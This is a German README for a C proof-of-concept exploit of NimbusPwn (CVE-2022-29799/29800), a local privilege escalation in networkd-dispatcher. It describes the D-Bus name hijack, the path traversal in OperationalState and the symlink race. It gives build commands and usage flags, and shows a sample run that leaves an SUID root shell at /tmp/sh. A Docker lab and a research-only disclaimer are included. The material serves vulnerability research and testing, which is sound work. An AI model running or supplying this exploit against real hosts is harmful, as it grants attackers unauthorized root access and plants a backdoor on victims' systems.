
NimbusPwn (CVE-2022-29799/29800) lokaler Privilegieneskalations-PoC in C.
Ein C-PoC für NimbusPwn, eine lokale Privilegienausweitung in networkd-dispatcher. Ein unprivilegierter Benutzer beansprucht den D-Bus-Namen org.freedesktop.network1 und sendet einen manipulierten OperationalState. Der Root-Daemon bereinigt ihn nicht (CVE-2022-29799, Pfadüberwindung), und ein Symlink-Race im Skriptverzeichnis (CVE-2022-29800, TOCTOU) führt dazu, dass ein vom Angreifer platziertes Skript als Root ausgeführt wird – was eine SUID-Root-Shell hinterlässt.
Betroffen: networkd-dispatcher < 2.1 (behoben in 2.1). Nur Linux. Benötigt das System-D-Bus und einen beanspruchbaren Namen org.freedesktop.network1.
Erstellen auf Linux (Kali oder der Zielmaschine). Es lässt sich nicht unter macOS/Windows erstellen oder ausführen.
git clone https://github.com/joshuavanderpoll/NimbusPWN-CVE-2022-29799-29800.git
cd NimbusPWN-CVE-2022-29799-29800
sudo apt install -y gcc libc6-dev libdbus-1-dev pkg-config
cc nimbuspwn.c -o nimbuspwn $(pkg-config --cflags --libs dbus-1)
[!NOTE] Andere Distributionen:
dnf install gcc dbus-devel pkgconf(Fedora/RHEL) oderpacman -S gcc dbus pkgconf(Arch). Die Kompilierzeile ist dieselbe.
Als unprivilegierter Benutzer auf einem verwundbaren Host ausführen.
./nimbuspwn [-c] [-s SHELL]
-c, --check nicht-brechender Verwundbarkeitscheck, keine Ausnutzung
-s, --shell SHELL Shell zum SUID-Kopieren und Spawnen als Root (Standard /bin/sh)
-h, --help Hilfe anzeigen
Zuerst prüfen (sicher, legt nichts an, kein Rennen):
$ ./nimbuspwn --check
[+] owned org.freedesktop.network1
[+] verdict: likely vulnerable (org.freedesktop.network1 is claimable, no privesc tried)
Dann ausnutzen:
$ ./nimbuspwn
[*] shell=/bin/sh drop=/tmp/sh attempts=10
[+] owned org.freedesktop.network1
[@] attempt 1 (/tmp/nimbuspwn_93732)
[+] planted 126 payloads (root-owned /sbin execs) in /tmp/nimbuspwn_93732
[*] OperationalState: ../../../tmp/nimbuspwn_93732/poc
[*] signal sent (serial 3)
[@] symlink swapped, waiting for root exec
[+] root backdoor at /tmp/sh, spawning shell
# id
uid=1000(pwn) gid=1000(pwn) euid=0(root) groups=1000(pwn)
Das Rennen ist nicht deterministisch, daher wird es wiederholt (Standard 10×). Verwenden Sie -s /bin/bash auf Hosts ohne /bin/sh.
Ein in sich geschlossenes verwundbares Labor (Ubuntu 20.04 + verwundbarer networkd-dispatcher 2.0). Kein --privileged oder Host-Netzwerk.
docker compose build
docker compose run --rm nimbuspwn-lab
# inside, as user 'pwn':
./nimbuspwn
Der Dispatcher 2.0 wird in docker/ mitgeliefert, sodass der Build nicht von externen Downloads abhängt. Dispatcher-Log: /var/log/dispatcher.log.
Dieses Werkzeug wird ausschließlich zu Bildungs- und Forschungszwecken bereitgestellt. Der Ersteller übernimmt keine Verantwortung für Missbrauch oder durch das Werkzeug verursachte Schäden.